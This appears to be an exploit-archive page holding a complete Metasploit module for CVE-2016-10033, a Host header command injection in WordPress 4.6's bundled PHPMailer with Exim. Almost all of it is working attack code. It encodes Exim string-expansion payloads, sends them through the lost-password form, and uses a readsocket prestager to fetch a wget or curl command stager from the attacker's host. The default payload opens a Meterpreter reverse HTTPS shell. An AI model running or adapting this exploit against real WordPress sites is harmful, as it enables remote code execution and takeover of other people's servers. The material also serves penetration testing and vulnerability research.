WordPress PHPMailer Host Header Command Injection

Published
Credit
Risk
2017.05.17
wvu
High
CWE
CVE
Local
Remote
CWE-78
CVE-2016-10033
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHPMailer Host Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
a mail-sending library that is bundled with WordPress.

A valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is limited to
the default virtual host, assuming the header isn't mangled in transit.

If the target is running Apache 2.2.32 or 2.4.24 and later, the server
may have HttpProtocolOptions set to Strict, preventing a Host header
containing parens from passing through, making exploitation unlikely.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-10033'],
['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
],
'DisclosureDate' => 'May 3 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['WordPress 4.6 / Exim', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))

register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
])

register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])

deregister_options('VHOST', 'URIPATH')
end

def check
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return CheckCode::Safe
end

vprint_status("WordPress #{version} installed at #{full_uri}")

if version <= Gem::Version.new('4.6')
CheckCode::Appears
else
CheckCode::Detected
end
end

def exploit
if check == CheckCode::Safe
print_error("Is WordPress installed at #{full_uri} ?")
return
end

# Since everything goes through strtolower(), we need lowercase
print_status("Generating #{cmdstager_flavor} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')

print_status("Generating and sending Exim prestager")
generate_prestager.each do |command|
vprint_status("Sending #{command}")
send_request_payload(command)
end
end

#
# Exploit methods
#

# Absolute paths are required for prestager commands due to execve(2)
def generate_prestager
prestager = []

# This is basically sh -c `wget` implemented using Exim string expansions
# Badchars we can't encode away: \ for \n (newline) and : outside strings
prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
"{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
"{get #{get_resource} http/1.0$value$value}}}}}}"

# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end

def send_request_payload(command)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'headers' => {
'Host' => generate_exim_payload(command)
},
'vars_get' => {
'action' => 'lostpassword'
},
'vars_post' => {
'user_login' => datastore['USERNAME'],
'redirect_to' => '',
'wp-submit' => 'Get New Password'
}
)

if res && !res.redirect?
if res.code == 200 && res.body.include?('login_error')
fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
else
fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
end
end

res
end

def generate_exim_payload(command)
exim_payload = Rex::Text.rand_text_alpha(8)
exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
end

# We can encode away the following badchars using string expansions
def encode_exim_payload(command)
command.gsub(/[\/ :]/,
'/' => '${substr{0}{1}{$spool_directory}}',
' ' => '${substr{10}{1}{$tod_log}}',
':' => '${substr{13}{1}{$tod_log}}'
)
end

#
# Utility methods
#

def cmdstager_flavor
datastore['CMDSTAGER::FLAVOR']
end

def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end

#
# Override methods
#

# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
print_good("Sending #{@cmdstager}")
send_response(cli, @cmdstager)
@cmdstager = nil
else
print_good("Sending payload #{datastore['PAYLOAD']}")
super
end
end

end


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